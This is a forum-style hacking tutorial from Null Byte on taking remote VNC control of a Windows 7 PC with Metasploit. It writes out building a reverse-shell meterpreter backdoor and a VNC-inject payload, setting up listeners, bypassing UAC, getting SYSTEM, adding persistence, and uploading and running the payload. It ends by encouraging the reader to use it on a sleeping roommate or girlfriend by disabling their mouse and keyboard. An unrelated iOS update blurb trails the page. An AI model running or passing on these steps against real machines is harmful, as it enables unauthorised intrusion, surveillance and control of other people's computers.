Header Banner
Null Byte Logo
Null Byte
wonderhowto.mark.png
Cyber Weapons Lab Forum Metasploit Basics Facebook Hacks Password Cracking Top Wi-Fi Adapters Wi-Fi Hacking Linux Basics Mr. Robot Hacks Hack Like a Pro Forensics Recon Social Engineering Networking Basics Antivirus Evasion Spy Tactics MitM Advice from a Hacker

How to Run an VNC Server on Win7

May 3, 2015 10:09 AM
Computer screen displaying software called "Bugtraq 2 Black Widow" with a dark theme and a command line interface.

OTW's great Tutorial Hack Like a Pro: How to Save the World from Nuclear Annihilation gives me the inspiration to try this on Win7 sp1.

I did this under Bugtraq 2 Black Widow but it works almost similar on Kali-Linux.

Start All Services Und Run Metasploit

On bugtraq not preinstalled so:

# sudo apt-get install vncviewer

Than start the required services:

# sudo service postgresql start

# sudo service metasploit start

# sudo msfconsole

Computer screen displaying Bugtraq 2 software interface with a dark background.

We Need Two Payloads

I did this with msfpayload:

First we need the meterpreter

msf > msfpayload windows/meterpreter/reversetcp LHOST= LPORT= x > /home/bugtraq/Desktop/backdoor.exe

Screenshot of a computer desktop displaying the "Bugtraq 2 Black Widow" operating system with various terminal windows and a blue background.

Now we got the file backdoor.exe on our Desktop now we need another .exe file that we will upload to our target and execute with the meterpreter.

msf > msfpayload windows/vncinject/reversetcp LHOST=

LPORT= x > /home/bugtraq/Desktop/gui.exe

Bugtraq 2 Black Widow operating system interface displaying terminal commands and system information.

Lets Run the Meterpreter and Bypass the UAC

msf > use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reversetcp

msf exploit(handler) > set LHOST

msf exploit(handler) > set LPORT

msf exploit(handler) > exploit

A computer desktop featuring a terminal window with code and a blue background displaying "BUGTRAQ 2 BLACK WIDOW."

So we see that the meterpreter is running on our target but we need more system rights.

meterpreter > getprivs

meterpreter > getsystem

How to Run an VNC Server on Win7

Access Denied!!

Should not be a big problem

You can look you Privs with the command

meterpreter > run post/windows/gather/winprivs

meterpreter > background

msf exploit(handler) > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > set payload windows/meterpreter/reversetcp

msf exploit(bypassuac) > set LHOST

msf exploit(bypassuac) > set LPORT

msf exploit(bypassuac) > set session 1

msf exploit(bypassuac) > exploit

Screenshot of a computer desktop displaying a command-line interface with a dark theme and the "Bughiraq 2 Black Widow" logo in the background.

If that happens only try again

msf exploit (bypassuac) > exploit

A computer desktop displaying a terminal window with code on a blue background related to Bugtraq 2 Black Widow.

works, now:

meterpreter > getsystem

meterpreter > getprivs

Now we should owned the system but we want to have an VNC on the target.

If you want to make the meterpreter persistence should something go wrong just type

meterpreter > run persistence –A –L c:\\ -X 5 –p –r

Now the Funny Part

the meterpreter got the download and upload function and the works like this

meterpreter > upload -r /home/bugtraq/Desktop/gui.exe C:/

Computer desktop displaying a software interface with the title "BugTraq 2 Black Widow."

Now we open a second metasploit terminal and type in

msf > use multi/handler

msf exploit(handler) > set payload windows/vncinject/reversetcp

msf exploit(handler) > set LHOST

msf exploit(handler) > set LPORT

msf exploit(handler) > exploit

It should now look like this

How to Run an VNC Server on Win7

Getting Finished...

Now we go back to our meterpreter terminal, make sure you are in the folder C:/ where the gui.exe file is and type in

meterpreter > execute -f gui.exe

Computer interface displaying Bugtraq 2 Black Widow software with code and system information.
A scenic mountain landscape with a winding road and a blue sky.
Computer interface displaying Bugtraq 2 Black Widow software with code and system information.
A scenic mountain landscape with a winding road and a blue sky.

MUCH More FUN

Lets say in front of our target pc sleeps a person(roomate/girlfriend/whatever), if you want to wake him/her in an anoying way search his musik and have some Fun hehe,

meterpreter > uictl disable mouse

meterpreter > uictl disable keyboard

and have fun :D

How to Run an VNC Server on Win7

I am sure there are better ways to do this hack

but it works, suggestions for improvement are always welcome!

Hope you enjoyed

The next big software update for iPhone is coming sometime in April and will include a Food section in Apple News+, an easy-to-miss new Ambient Music app, Priority Notifications thanks to Apple Intelligence, and updates to apps like Mail, Photos, Podcasts, and Safari. See what else is coming to your iPhone with the iOS 18.4 update.

Related Articles

Comments

No Comments Exist

Be the first, drop a comment!